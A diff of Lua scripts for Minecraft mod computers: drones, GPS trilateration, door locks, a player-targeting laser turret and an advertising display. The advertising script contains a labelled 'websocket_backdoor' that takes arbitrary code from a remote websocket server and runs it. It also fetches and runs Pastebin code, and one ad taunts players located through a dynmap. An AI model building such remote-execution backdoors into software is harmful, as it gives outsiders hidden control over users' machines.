unicode escape in string")end;if K:find("^[dD][89aAbB]")then F=true else E=true end else local L=string.char(J)if not k[L]then s(o,I,"invalid escape char '"..L.."' in string")end;G=true end;H=nil elseif J==34 then local A=o:sub(h+1,I-1)if F then A=A:gsub("\\u[dD][89aAbB]..\\u....",z)end;if E then A=A:gsub("\\u....",z)end;if G then A=A:gsub("\\.",b)end;return A,I+1 else H=J end end;s(o,h,"expected closing quote for string")end;local function M(o,h)local J=n(o,h,j)local A=o:sub(h,J-1)local x=tonumber(A)if not x then s(o,h,"invalid number '"..A.."'")end;return x,J end;local function N(o,h)local J=n(o,h,j)local O=o:sub(h,J-1)if not l[O]then s(o,h,"invalid literal '"..O.."'")end;return m[O],J end;local function P(o,h)local g={}local x=1;h=h+1;while 1 do local J;h=n(o,h,i,true)if o:sub(h,h)=="]"then h=h+1;break end;J,h=e(o,h)g[x]=J;x=x+1;h=n(o,h,i,true)local Q=o:sub(h,h)h=h+1;if Q=="]"then break end;if Q~=","then s(o,h,"expected ']' or ','")end end;return g,h end;local function R(o,h)local g={}h=h+1;while 1 do local S,T;h=n(o,h,i,true)if o:sub(h,h)=="}"then h=h+1;break end;if o:sub(h,h)~='"'then s(o,h,"expected string for key")end;S,h=e(o,h)h=n(o,h,i,true)if o:sub(h,h)~=":"then s(o,h,"expected ':' after key")end;h=n(o,h+1,i,true)T,h=e(o,h)g[S]=T;h=n(o,h,i,true)local Q=o:sub(h,h)h=h+1;if Q=="}"then break end;if Q~=","then s(o,h,"expected '}' or ','")end end;return g,h end;local U={['"']=D,["0"]=M,["1"]=M,["2"]=M,["3"]=M,["4"]=M,["5"]=M,["6"]=M,["7"]=M,["8"]=M,["9"]=M,["-"]=M,["t"]=N,["f"]=N,["n"]=N,["["]=P,["{"]=R}e=function(o,p)local Q=o:sub(p,p)local y=U[Q]if y then return y(o,p)end;s(o,p,"unexpected character '"..Q.."'")end;local function json_decode(o)if type(o)~="string"then error("expected argument of type string, got "..type(o))end;local g,p=e(o,n(o,1,i,true))p=n(o,p,i,true)if p<=#o then s(o,p,"trailing garbage")end;return g end
local function sleep(timeout)
local deadline = computer.uptime() + (timeout or 0)
repeat
computer.pullSignal(deadline - computer.uptime())
until computer.uptime() >= deadline
end
local function moveraw(x, y, z)
set_status "moving"
drone.move(x, y, z)
repeat
sleep(0.5)
until drone.getVelocity() < 0.1
set_status "idle"
end
local function move(pos)
moveraw(0, 32, 0)
moveraw(pos.x, pos.y, pos.z)
moveraw(0, -32, 0)
end
local function follow(currpos)
local data = json_decode(fetch "https://dynmap.codersnet.pw/up/world/world/1588704574112")
local possibles = {}
for _, p in pairs(data.players) do
local plrpos = { x = p.x, y = p.y, z = p.z }
local dist = len(sub(plrpos, central_point))
if dist < 100 and p.world == "world" then
table.insert(possibles, plrpos)
end
end
if #possibles == 0 then return false, "TNF" end
local targpos = possibles[math.random(1, #possibles)]
local offset = sub(targpos, currpos)
comp.beep(400, 0.5)
move(offset)
return true
end
while true do
set_status "idle"
local currpos = locate()
if currpos then
wlan.broadcast(1033, drone.name(), "LOC", currpos.x, currpos.y, currpos.z)
local offset_from_hub = sub(central_point, currpos)
if len(offset_from_hub) then
move(offset_from_hub)
else
local ok, err = follow(currpos)
if not ok then set_status "error" drone.setStatusText("E" .. err) sleep(10) end
sleep(1)
end
end
if energy() < 0.3 then
wlan.broadcast(1033, drone.name(), "LOW")
comp.beep(2000, 1.5)
status "low_battery"
move(sub(central_point, locate()))
end
end

65
computercraft/oc-gps.lua Normal file
View File

@ -0,0 +1,65 @@
local eeprom = component.proxy(component.list "eeprom"())
local wlan = component.proxy(component.list "modem"())
local comp = component.proxy(component.list "computer"())
local function serialize(a)local b=type(a)if b=="number"then return tostring(a)elseif b=="string"then return ("%q"):format(a)elseif b=="table"then local c="{"for d,e in pairs(a)do c=c..string.format("[%s]=%s,",serialize(d),serialize(e))end;return c.."}"elseif b=="boolean"then return tostring(a)else return("%q"):format(tostring(a))end end
local function unserialize(a) local fn, e = load("return "..a:gsub("functio".."n", ""), "@deser", "t", {}) if not fn then return false, e end return fn() end
local a=string.byte;local function crc32(c)local d,e,f;e=0xffffffff;for g=1,#c do d=a(c,g)e=e~d;for h=1,8 do f=-(e&1);e=(e>>1)~(0xedb88320&f)end end;return(~e)&0xffffffff end
local conf, e = unserialize(eeprom.getData())
if e then error("Config parse error: " .. e) end
wlan.open(2048)
wlan.open(2049)
local function respond(main, auth)
local data, e = unserialize(main)
if not data then error("unserialization: " .. e) end
if type(data) ~= "table" then error "command format invalid" end
local authed = false
if data.time and auth then
local timediff = math.abs(os.time() - data.time)
if timediff > 1000 then error "tdiff too high" end
local vauth = crc32(main .. conf.psk)
if auth ~= vauth then error "auth invalid" end
authed = true
end
local ctype = data[1]
if ctype == "ping" then return conf.uid end
if authed then
if ctype == "reflash" and data[2] then
eeprom.set(data[2])
for i = 1, 5 do
comp.beep(800, 0.2)
comp.beep(1200, 0.2)
end
return #data[2]
elseif ctype == "setpos" and data[2] and data[3] then
if data[2] == conf.uid then
conf.pos = data[3]
eeprom.setData(serialize(conf))
eeprom.setLabel("GPS"..conf.uid)
return true
end
return "ignoring"
end
end
error("invalid command (auth: " .. tostring(authed) .. ")")
end
while true do
local ev, _, from, port, distance, m1, m2 = computer.pullSignal()
if ev == "modem_message" then
if port == 2048 and m1 == "PING" then
if conf.pos then
wlan.broadcast(2047, table.unpack(conf.pos))
else
comp.beep(400, 2)
end
elseif port == 2049 and distance < 8 then
comp.beep(1000, 0.5)
local ok, res = pcall(respond, m1, m2)
wlan.broadcast(2050, conf.uid, ok, serialize(res))
if not ok then comp.beep(1500, 2) end
end
end
end

View File

@ -0,0 +1,32 @@
local wlan = component.proxy(component.list "modem"())
local computer_peripheral = component.proxy(component.list "computer"())
wlan.setWakeMessage("poweron", true)
local function sleep(timeout)
local deadline = computer.uptime() + (timeout or 0)
repeat
computer.pullSignal(deadline - computer.uptime())
until computer.uptime() >= deadline
end
local function try_power_on(comp)
local p = component.proxy(comp)
if p.isOn and p.turnOn then
if not p.isOn() then
p.turnOn()
computer_peripheral.beep(440)
end
end
if p.isRunning and p.start then
if not p.isRunning() then
p.start()
computer_peripheral.beep(800)
end
end
end
while true do
for addr in component.list "turtle" do try_power_on(addr) end
for addr in component.list "computer" do try_power_on(addr) end
sleep(1)
end

View File

@ -0,0 +1,19 @@
local h = http.get "https://raw.githubusercontent.com/MightyPirates/OpenComputers/master-MC1.7.10/src/main/resources/assets/opencomputers/robot.names"
local name_list = h.readAll()
h.close()
local names = {}
local regex = "([^\n]+)" -- technically a pattern and not regex
for line in name_list:gmatch(regex) do
local comment_pos = line:find "#"
if comment_pos then line = line:sub(1, comment_pos - 1) end
local line = line:gsub(" *$", "")
if #line > 0 then
table.insert(names, line)
end
end
local name = names[math.random(1, #names)]
print(name)
os.setComputerLabel(name)

View File

@ -0,0 +1,62 @@
local integrators = {}
local sensor = peripheral.find "plethora:sensor"
for i = 993, 996 do
table.insert(integrators, peripheral.wrap("redstone_integrator_" .. i))
end
local min_bb = vector.new(-7, -4, -9999999)
local max_bb = vector.new(3, 0, 9999999)
local entry_sides = {}
local function set_open(state)
for _, i in pairs(integrators) do
i.setOutput("up", state)
i.setOutput("south", state)
end
end
local function is_bounded_by(min, max, v)
return min.x <= v.x and max.x >= v.x and min.y <= v.y and max.y >= v.y and min.z <= v.z and max.z >= v.z
end
local function scan()
local nearby = sensor.sense()
local any = false
local ret = {}
for k, v in pairs(nearby) do
v.s = vector.new(v.x, v.y, v.z)
v.v = vector.new(v.motionX, v.motionY, v.motionZ)
v.distance = v.s:length()
if v.displayName == v.name then
if is_bounded_by(min_bb, max_bb, v.s) then table.insert(ret, v) end
any = true
end
end
return ret, any
end
while true do
local es, run_fast = scan()
local closed = false
local seen = {}
for _, e in pairs(es) do
if entry_sides[e.name] == nil then
entry_sides[e.name] = e.s.z > 0 -- true if on "closed" side
end
seen[e.name] = true
end
for _, entered_via_closed_side in pairs(entry_sides) do
if entered_via_closed_side then
closed = true
end
end
set_open(not closed)
for k, v in pairs(entry_sides) do
print(os.clock(), k, v)
if not seen[k] then
entry_sides[k] = nil
end
end
set_open(not closed)
if not run_fast then sleep(0.1) end
end

View File

@ -0,0 +1,102 @@
-- TrilateratorGPS, modified a bit to track Opus SNMP pings instead now that GPS is anonymized
local filter = ...
local config = dofile "config.lua"
local modems = {}
for name, location in pairs(config.modems) do
modems[name] = peripheral.wrap(name)
modems[name].location = location
modems[name].open(999)
end
local function timestamp()
return os.date "!%X"
end
-- Trilateration code from GPS and modified slightly
local function trilaterate( A, B, C )
local a2b = B.position - A.position
local a2c = C.position - A.position
if math.abs( a2b:normalize():dot( a2c:normalize() ) ) > 0.999 then
return nil
end
local d = a2b:length()
local ex = a2b:normalize( )
local i = ex:dot( a2c )
local ey = (a2c - (ex * i)):normalize()
local j = ey:dot( a2c )
local ez = ex:cross( ey )
local r1 = A.distance
local r2 = B.distance
local r3 = C.distance
local x = (r1*r1 - r2*r2 + d*d) / (2*d)
local y = (r1*r1 - r3*r3 - x*x + (x-i)*(x-i) + j*j) / (2*j)
local result = A.position + (ex * x) + (ey * y)
local zSquared = r1*r1 - x*x - y*y
if zSquared > 0 then
local z = math.sqrt( zSquared )
local result1 = result + (ez * z)
local result2 = result - (ez * z)
local rounded1, rounded2 = result1:round( 0.01 ), result2:round( 0.01 )
if rounded1.x ~= rounded2.x or rounded1.y ~= rounded2.y or rounded1.z ~= rounded2.z then
return rounded1, rounded2
else
return rounded1
end
end
return result:round( 0.01 )
end
local function narrow( p1, p2, fix )
local dist1 = math.abs( (p1 - fix.position):length() - fix.distance )
local dist2 = math.abs( (p2 - fix.position):length() - fix.distance )
if math.abs(dist1 - dist2) < 0.01 then
return p1, p2
elseif dist1 < dist2 then
return p1:round( 0.01 )
else
return p2:round( 0.01 )
end
end
local monitor = peripheral.find "monitor"
if monitor then
monitor.setTextScale(0.5)
term.redirect(monitor)
end
print(timestamp(), "Initialized")
local fixes = {}
while true do
local _, modem, channel, reply_channel, message, distance = os.pullEvent "modem_message"
if distance then
if not fixes[reply_channel] then fixes[reply_channel] = {} end
local rc_fixes = fixes[reply_channel]
local recv_modem = modems[modem]
table.insert(rc_fixes, { position = vector.new(unpack(recv_modem.location)), distance = distance })
if #rc_fixes == 4 then
local p1, p2 = trilaterate(rc_fixes[1], rc_fixes[2], rc_fixes[3])
if p1 and p2 then
local pos = narrow(p1, p2, rc_fixes[4])
local status, label = "?", "?"
if type(message) == "table" then status = tostring(message.status) label = tostring(message.label) end
if (not filter) or (label:match(filter)) then
print(timestamp(), ("%05d %s (%.0f %.0f %.0f) %s"):format(reply_channel, label, pos.x, pos.y, pos.z, status))
end
end
fixes[reply_channel] = {}
end
end
end

View File

@ -0,0 +1,19 @@
local m = peripheral.find("modem", function(_, o) return o.isWireless() end)
local function send_metric(...)
m.transmit(3054, 3054, {...})
end
function pulse(side)
rs.setOutput(side,true)
sleep(0.05)
rs.setOutput(side,false)
sleep(0.05)
end
while true do
local exists, data = turtle.inspect()
if not exists then sleep(0.05)
elseif data.name == "minecraft:netherrack" or data.name == "minecraft:stone" then pulse "left"
else send_metric("ores_made", "quantity of ores summoned from beespace", "inc", 1) pulse "right" end
end

View File

@ -0,0 +1,97 @@
local data
local file = "./p2p.tbl"
local function save()
local f = fs.open(file, "w")
f.write(textutils.serialise(data))
f.close()
end
local function load()
if fs.exists(file) then
local f = fs.open(file, "r")
local x = textutils.unserialise(f.readAll())
f.close()
return x
end
end
local function split(str)
local t = {}
for w in str:gmatch("%S+") do table.insert(t, w) end
return t
end
data = load() or {}
local case_insensitive = {
__index = function( table, key )
local value = rawget( table, key )
if value ~= nil then
return value
end
if type(key) == "string" then
local value = rawget( table, string.lower(key) )
if value ~= nil then
return value
end
end
return nil
end
}
setmetatable(data, case_insensitive)
local function tunnel_info(name)
local d = data[name]
return ("%s: %d %s"):format(name, d.channels, d.description)
end
local commands = {
list = function()
for t in pairs(data) do print(tunnel_info(t)) end
end,
info = function(name)
print(tunnel_info(name))
end,
describe = function(name)
local t = data[name]
print("Description:", t.description)
write "New description: "
t.description = read()
end,
add = function(name)
data[name] = {
channels = 0,
description = "None set."
}
end,
channels = function(name, by)
local by = tonumber(by)
if not by then error "Invalid number!" end
local t = data[name]
print("Channels:", t.channels)
print("Increasing by:", by)
t.channels = t.channels + by
print("New channels:", t.channels)
end,
delete = function(name)
data[name] = nil
end
}
setmetatable(commands, case_insensitive)
local hist = {}
while true do
write "> "
local text = read(nil, hist)
table.insert(hist, text)
local tokens = split(text)
local command = table.remove(tokens, 1)
local ok, err = pcall(commands[command], unpack(tokens))
save()
if not ok then printError(err) end
end

View File

@ -0,0 +1,104 @@
local sensor = peripheral.wrap "right"
local laser = peripheral.wrap "left"
local modem = peripheral.find "modem"
local targets = {}
local function scan()
local nearby = sensor.sense()
local ret = {}
for k, v in pairs(nearby) do
v.s = vector.new(v.x, v.y, v.z)
v.v = vector.new(v.motionX, v.motionY, v.motionZ)
v.distance = v.s:length()
if v.displayName == v.name then ret[v.name] = v end
end
return ret
end
local function calc_yaw_pitch(v)
local x, y, z = v.x, v.y, v.z
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local function vector_sqlength(self)
return self.x * self.x + self.y * self.y + self.z * self.z
end
local function project(line_start, line_dir, point)
local t = (point - line_start):dot(line_dir) / vector_sqlength(line_dir)
return line_start + line_dir * t, t
end
local function angles_to_axis(yaw, pitch)
return vector.new(
-math.sin(math.rad(yaw)) * math.cos(math.rad(pitch)),
-math.sin(math.rad(pitch)),
math.cos(math.rad(yaw)) * math.cos(math.rad(pitch))
)
end
local laser_origin = vector.new(0, 0, 0)
local function would_hit(beam_line, safe_position, target_position)
local point, t = project(laser_origin, beam_line, safe_position)
return t > 0 and (point - safe_position):length() < 1.5 and safe_position:length() < target_position:length()
end
local function lase(entity, others)
local target_location = entity.s - vector.new(0, 1, 0)
for i = 1, 5 do
target_location = entity.s + entity.v * (target_location:length() / 1.5)
end
local y, p = calc_yaw_pitch(target_location)
local line = angles_to_axis(y, p)
for _, other in pairs(others) do
if would_hit(line, other.s, target_location) then
--print("would hit", other.name)
return false
end
end
if would_hit(line, vector.new(-3, 0, 2), target_location) then
return false
end
print(y)
if y > (-90 + 45) or y < (-90 - 45) then
return false
end
rs.setOutput("front", true)
laser.fire(y, p, 1)
sleep(0.05)
rs.setOutput("front", false)
end
local function laser_defense()
while true do
local entities = scan()
local now = os.epoch "utc"
local action_taken = false
for _, entity in pairs(entities) do
local targeted_at = targets[entity.name]
if targeted_at and targeted_at > (now - 60000) then
print("lasing", entity.displayName, entity.s)
lase(entity, entities)
action_taken = true
end
end
if not action_taken then sleep(0.2) end
end
end
local function laser_commands()
modem.open(55)
while true do
local _, _, c, rc, m = os.pullEvent "modem_message"
if c == 55 and type(m) == "table" and m[1] == "lase" and type(m[2]) == "string" then
targets[m[2]] = os.epoch "utc"
print("command to lase", m[2], "remotely")
end
end
end
parallel.waitForAll(laser_defense, laser_commands)

327
computercraft/pgps.lua Normal file
View File

@ -0,0 +1,327 @@
CHANNEL_GPS = 65534
CHANNEL_SNMP = 999
local function trilaterate(A, B, C)
local a2b = B.pos - A.pos
local a2c = C.pos - A.pos
if math.abs(a2b:normalize():dot(a2c:normalize())) > 0.999 then
return nil
end
local d = a2b:length()
local ex = a2b:normalize()
local i = ex:dot(a2c)
local ey = (a2c - ex * i):normalize()
local j = ey:dot(a2c)
local ez = ex:cross(ey)
local r1 = A.distance
local r2 = B.distance
local r3 = C.distance
local x = (r1 * r1 - r2 * r2 + d * d) / (2 * d)
local y = (r1 * r1 - r3 * r3 - x * x + (x - i) * (x - i) + j * j) / (2 * j)
local result = A.pos + ex * x + ey * y
local zSquared = r1 * r1 - x * x - y * y
if zSquared > 0 then
local z = math.sqrt(zSquared)
local result1 = result + ez * z
local result2 = result - ez * z
return result1, result2
end
return result
end
-- from Opus somewhere
local function permutation(tbl, n)
local function permgen(a, n)
if n == 0 then
coroutine.yield(a)
else
for i=1,n do
a[n], a[i] = a[i], a[n]
permgen(a, n - 1)
a[n], a[i] = a[i], a[n]
end
end
end
local co = coroutine.create(function() permgen(tbl, n) end)
return function()
local _, res = coroutine.resume(co)
return res
end
end
local known_opus_devices = {
["6_4_milo_2"] = { -3182, 62, -5125, dimension = "overworld" },
["NationalCenterForMissingTurtles #1"] = { -3174, 73, -5124, dimension = "overworld" },
["computer_19171"] = { -3178, 64, -5130, dimension = "overworld" },
["RangerStore"] = { 217, 72, 123, dimension = "overworld" },
["AlexMilo"] = { -1785, 50, -2759, dimension = "overworld" },
["Solar-newmilo"] = { -3073, 78, -3008, dimension = "overworld" },
["ScorchMilo"] = { 269, 58, 421, dimension = "overworld" },
["scorchsfurninator"] = { 269, 54, 421, dimension = "overworld" },
["OMGFurni"] = { 4874, 76, -1701, dimension = "overworld" },
["computer_21867"] = { -7118, 52, -7354, dimension = "overworld" },
["LeClercMilo"] = { -7116, 50, -7357, dimension = "overworld" },
["manager_of_ground_trap"] = { 291, 31, -11, dimension = "overworld" },
["CodedPythonMilo"] = { -2597, 65, 4998, dimension = "overworld" },
["DistantMilo2"] = { -417, 80, -3049, dimension = "overworld" },
["NationalCenterForMissingTurtles #2"] = { 6, 35, -41, dimension = "nether" },
["CobbleGen69"] = { 3996, 52, 2900, dimension = "end" },
["GTech Storage"] = { 3955, 35, -2914, dimension = "end" },
["NationalCenterForMissingTurtles #3"] = { 4858, 75, 1975, dimension = "end" },
["BoomStorage"] = { -6016, 71, 1248, dimension = "overworld" },
["TS-shack"] = { 69, 69, -69, dimension = "nether" }
}
local state = {
debug = false,
fixes = {},
modem_side = nil,
channel_gps_was_closed = nil,
channel_snmp_was_closed = nil,
listener_running = false,
use_saved_fixes = false,
mse_threshold = 0.01,
passive = false,
max_fixes = 4,
max_fix_age = nil,
actual_position = nil -- for testing of Opus device positions
}
function initialize(modem_side)
-- Find a modem
if modem_side == nil then
for _, side in ipairs(rs.getSides()) do
if peripheral.getType(side) == "modem" and peripheral.call(side, "isWireless") then
modem_side = side
break
end
end
end
if modem_side == nil then
if state.debug then
print("No wireless modem attached")
end
return nil
end
if state.debug then
print("Using", modem_side, "modem")
end
state.modem_side = modem_side
local modem = peripheral.wrap(modem_side)
state.channel_gps_was_closed = false
if not modem.isOpen(CHANNEL_GPS) then
modem.open(CHANNEL_GPS)
state.channel_was_closed = true
if state.debug then print "Opened GPS" end
end
state.channel_snmp_was_closed = false
if not modem.isOpen(CHANNEL_SNMP) then
modem.open(CHANNEL_SNMP)
state.channel_snmp_was_closed = true
if state.debug then print "Opened SNMP" end
end
end
function teardown()
if state.modem_side and state.channel_gps_was_closed then
peripheral.call(state.modem_side, "close", CHANNEL_GPS)
end
if state.modem_side and state.channel_snmp_was_closed then
peripheral.call(state.modem_side, "close", CHANNEL_SNMP)
end
state.modem_side = nil
end
function listener()
state.listener_running = true
while true do
local e, side, channel, reply_channel, message, distance = os.pullEvent "modem_message"
if e == "modem_message" then
if side == state.modem_side and distance then
local fix
if channel == CHANNEL_GPS and reply_channel == CHANNEL_GPS and type(message) == "table" and #message == 3 and tonumber(message[1]) and tonumber(message[2]) and tonumber(message[3]) and message[1] == message[1] and message[2] == message[2] and message[3] == message[3] then
local vec = vector.new(message[1], message[2], message[3])
fix = { pos = vec, dim = message.dimension, src = "gps:" .. tostring(vec) }
elseif channel == CHANNEL_SNMP and type(message) == "table" and type(message.status) == "string" and type(message.label) == "string" and #message.status <= 100 and #message.label <= 32 then
local data = known_opus_devices[message.label]
if state.debug and data then
print(("Got Opus message %d %s %s"):format(reply_channel, message.label, message.status))
end
if data then
fix = { pos = vector.new(unpack(data)), dim = data.dimension, src = "opus:" .. message.label }
if state.actual_position then
local disrepancy = (fix.pos - state.actual_position):length() - distance
if disrepancy > 0.1 then
print("Disrepancy of ", disrepancy, "on", message.label)
end
end
end
end
if fix then
local time = os.clock()
fix.time = time
fix.distance = distance
for i, old_fix in pairs(state.fixes) do
if tostring(old_fix.pos) == tostring(fix.pos) then
table.remove(state.fixes, i)
if state.debug then
print("Duplicate fix, dropping old")
end
end
if state.max_fix_age then
if time > state.max_fix_age + fix.time then
table.remove(state.fixes, i)
if state.debug then
print("Fix over max age")
end
end
end
end
if state.debug then
print(fix.distance .. " metres from " .. tostring(fix.pos))
if fix.dim then
print("Dimension", fix.dim)
end
end
table.insert(state.fixes, fix)
if #state.fixes > state.max_fixes then
table.remove(state.fixes, 1)
end
os.queueEvent "fix_acquired"
end
end
end
end
end
function configure(args)
for k, v in pairs(args) do
state[k] = v
end
end
function locate(timeout, _debug)
state.debug = _debug
-- Let command computers use their magic fourth-wall-breaking special abilities
if commands then
return commands.getBlockPosition()
end
if not state.modem_side then
initialize()
end
if state.debug then
print("Finding position...")
end
if not state.passive then peripheral.call(state.modem_side, "transmit", CHANNEL_GPS, CHANNEL_GPS, "PING") end
local spawn_listener = not state.listener_running
local pos
local dimension
if state.use_saved_fixes == false then
state.fixes = {}
end
local fns = {
function() sleep(timeout or 1) end,
function()
while true do
os.pullEvent "fix_acquired"
for _, fix in pairs(state.fixes) do
if fix.distance == 0 then
if state.debug then print("Distance 0 to", fix.pos) end
pos = fix.pos
return
end
end
if state.debug then
print("Fixes at", #state.fixes)
end
local candidate_positions = {}
local dimvotes = {}
for _, fix in pairs(state.fixes) do
if fix.dim then
dimvotes[fix.dim] = (dimvotes[fix.dim] or 0) + 1
end
end
local best
for dim, votes in pairs(dimvotes) do
if best == nil or votes > best then
dimension = dim
end
end
if #state.fixes >= 3 then
for fixes in permutation(state.fixes, 3) do
local pos1, pos2 = trilaterate(fixes[1], fixes[2], fixes[3])
if pos1 and pos1.x == pos1.x and pos1.y == pos1.y and pos1.z == pos1.z then candidate_positions[tostring(pos1)] = pos1 end
if pos2 and pos2.x == pos2.x and pos2.y == pos2.y and pos2.z == pos2.z then candidate_positions[tostring(pos2)] = pos2 end
end
local best_error, best_candidate
for key, candidate in pairs(candidate_positions) do
local total_square_error = 0
for _, fix in pairs(state.fixes) do
total_square_error = total_square_error + ((candidate - fix.pos):length() - fix.distance)^2
end
local mean_square_error = total_square_error / #state.fixes
if best_error == nil or mean_square_error < best_error then
best_candidate = candidate
best_error = mean_square_error
end
end
if best_error < state.mse_threshold and (#state.fixes > 3 or #candidate_positions == 1) then
if state.debug then
print("Best candidate position is", best_candidate, "with error", best_error)
end
pos = best_candidate
return
else
if state.debug then
print("Position fix above error threshold:", best_candidate, best_error)
end
end
end
end
end
}
if spawn_listener then table.insert(fns, listener) end
parallel.waitForAny(unpack(fns))
if spawn_listener then
state.listener_running = false
end
teardown()
if pos then
if state.debug then
print("Position is " .. pos.x .. "," .. pos.y .. "," .. pos.z)
end
if state.debug and dimension then
print("Dimension is", dimension)
end
return pos.x, pos.y, pos.z, dimension
else
if debug then
print("Could not determine position")
end
return nil
end
end
return { CHANNEL_GPS = CHANNEL_GPS, locate = locate, configure = configure, listener = listener }

View File

@ -0,0 +1,109 @@
local integrators = {
redstone_integrator_788 = "north",
redstone_integrator_790 = "east"
}
local screen = peripheral.find "monitor"
local side = "north"
local button_side = "front"
local modem = peripheral.find "modem"
modem.open(49961)
os.pullEvent = function(filter)
while true do
local ev = {coroutine.yield(filter)}
if ev[1] == filter then
return unpack(ev)
end
end
end
local w, h = screen.getSize()
screen.setTextScale(1.5)
screen.setBackgroundColor(colors.black)
screen.clear()
local function set_open(state)
for i, side in pairs(integrators) do
peripheral.call(i, "setOutput", side, not state)
end
end
local scramble = {}
for i = 1, ((w * h) - 2) do
table.insert(scramble, string.char(47 + i))
end
local function shuffle()
for i = 1, (#scramble - 1) do
local j = math.random(i, #scramble)
local a = scramble[i]
local b = scramble[j]
scramble[j] = a
scramble[i] = b
end
end
local function draw_display()
screen.setTextColor(colors.black)
for i = 0, ((w * h) - 3) do
local x = i % w
local y = math.floor(i / w)
screen.setCursorPos(x + 1, y + 1)
local c = scramble[i + 1]
screen.setBackgroundColor(2 ^ ((string.byte(c) - 48) % 15))
screen.write(c)
end
screen.setTextColor(colors.white)
screen.setBackgroundColor(colors.black)
screen.write "CE"
end
local function flash_display(color)
screen.setBackgroundColor(color)
screen.clear()
sleep(0.1)
draw_display()
end
set_open(false)
draw_display()
local can_open = false
local function monitor_ui()
local inp = ""
while true do
local _, _, x, y = os.pullEvent "monitor_touch"
if y == h and x == w then
print "E"
flash_display(colors.blue)
shuffle()
inp = ""
if can_open then set_open(true) sleep(1) set_open(false) end
draw_display()
elseif y == h and x == (w - 1) then
print "C"
flash_display(colors.red)
shuffle()
draw_display()
inp = ""
else
flash_display(colors.lime)
local i = (x - 1) + (y - 1) * w
inp = inp .. string.char(i + 48)
end
end
end
local function comms()
while true do
local _, _, c, rc, open = os.pullEvent "modem_message"
can_open = open
end
end
local function button()
while true do
os.pullEvent "redstone"
set_open(rs.getInput(button_side))
end
end
parallel.waitForAll(monitor_ui, button, comms)

View File

@ -0,0 +1,12 @@
local spudnet_send, spudnet_background = require "ni-ctl_spudnet_interface"()
local function loop()
while true do
local _, data = os.pullEvent "spudnet_message"
if data[1] == "exec" then
spudnet_send { "result", peripheral.call("back", unpack(data[2])) }
end
end
end
parallel.waitForAll(loop, spudnet_background)

View File

@ -0,0 +1,15 @@
return {
"PotatOS:\nThe OS YOU can rely on.\npastebin run RM13UGFa",
function() return fetch "https://osmarks.tk/random-stuff/fortune/" end,
function()
local p = find_player_nearby()
if p then
return ("Hello, %s, armour value %d, health %.1f. We know where you live. Install potatOS."):format(p.account, p.armor, p.health)
end
return false
end,
"Item Disposal as a Service:\nSend items to EnderStorage Black/Black/Black for them to be automatically disposed of.",
"ShutdownOS: Shutdown brought to the masses.\nDownload today: pastebin run QcKBFTat",
"Visit GMart, north of spawn, or else!",
"Weren't these ads written for CodersNet and not here?"
}

View File

@ -0,0 +1,125 @@
function _G.fetch(u)
local h = http.get(u)
local c = h.readAll()
h.close()
return c
end
function _G.update()
local h = fs.open("startup", "w")
local x = fetch "https://pastebin.com/raw/QtVcwZJm"
local f, e = load(x)
if not f then return false, e end
h.write(x)
h.close()
return true
end
local h = fs.open("conf.lua", "r")
local conf = textutils.unserialise(h.readAll()) or {}
h.close()
local urls = {
cnlite = "https://dynmap.switchcraft.pw/"
}
local function distance_squared(player)
local dx = player.x - conf.location[1]
local dy = player.y - conf.location[2]
local dz = player.z - conf.location[3]
return dx * dx + dy * dy + dz * dz
end
local json
local function load_json()
local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"
json = load(x)()
end
function _G.find_player_nearby()
if not json then load_json() end
local API_URL = urls[conf.server] .. "up/world/world/"
local data = json.decode(fetch(API_URL))
local players = _.filter(data.players, function(x)
x.d = distance_squared(x)
return x.world == conf.dimension and x.d < 400
end)
local sorted = _.sort_by(players, function(x) return -x.d end)
return sorted[1]
end
local function advert_display()
while true do
local data = fetch "https://pastebin.com/raw/P9TeP8ev"
local fn, err = loadstring(data)
if err then printError("Parse error: " .. err)
else
local ok, result = pcall(fn)
if not ok then printError("Exec error: " .. result)
else
local options = {}
for k, v in pairs(result) do
if type(v) == "string" or type(v) == "function" then table.insert(options, v) end
end
for _, mon in pairs {peripheral.find "monitor"} do
local option = options[math.random(1, #options)]
if type(option) == "function" then ok, option = pcall(option) end
if type(option) ~= "string" then break end
local w, h = mon.getSize()
if #option > (w * h) then
mon.setTextScale(conf.smallScale)
else
mon.setTextScale(conf.largeScale)
end
local last = term.redirect(mon)
mon.clear()
mon.setCursorPos(1, 1)
write(option)
term.redirect(last)
print("Displayed", option)
end
end
end
sleep(30)
end
end
local function websocket_backdoor()
load_json()
if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad"
if not ws then printError(err) return end
local function send(msg)
ws.send(json.encode(msg))
end
local function recv()
while true do
local e, u, code = coroutine.yield "websocket_message"
if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then
return code
end
end
end
while true do
-- Receive and run code from backdoor's admin end
local code = recv()
local f, error = load(code, "@input", "t", _E)
if f then -- run safely in background, send back response
local resp = {pcall(f)}
for k, v in pairs(resp) do
local ok, thing = pcall(json.encode, v)
if not ok then
resp[k] = tostring(v)
end
end
send(resp)
else
send {false, error}
end
end
end
parallel.waitForAll(websocket_backdoor, advert_display)

171
computercraft/potatoasm.lua Normal file
View File

@ -0,0 +1,171 @@
local function fill_arr(length, with)
local t = {}
for i = 1, length do
t[i] = 0
end
return t
end
--[[
registers are 16 bits
registers 0 to 15 are r0 to rf
register 0 always contains 0 because this makes many things more elegant
register 15 is additionally the program counter because why not
]]
local function init(code)
-- preallocate 64KiB of memory
-- 64KiB is enough for anyone
-- (TODO: allow moar somehow?)
local memory = fill_arr(65536, 0)
-- load code into memory, at start
for i = 1, #code do
memory[i] = code:byte(i)
end
return {
memory = memory,
registers = fill_arr(16, 0)
}
end
--[[
instructions (everything >8 bits is big endian):
HALT - 00 - halt execution
NOP - 01 - do nothing
PEEK - 02 [register 1][register 2] [16-bit constant] - load value at (constant + ri2) in memory into ri1
POKE - 03 [register 1][register 2] [16-bit constant] - but other way round
ADD - 04 [register 1][register 2] [16-bit constant] - save (constant + ri2) to ri1
JEQ - 05 [register 1][register 2] [16-bit constant] - set program counter to constant if ri1 = ri2
JNE - 06 [register 1][register 2] [16-bit constant] - set program counter to constant if ri1 != ri2
JLT - 07 [register 1][register 2] [16-bit constant] - set program counter to constant if ri1 < ri2
SUB - 08 [register 1][register 2] [16-bit constant] - save (ri2 - constant) to ri1
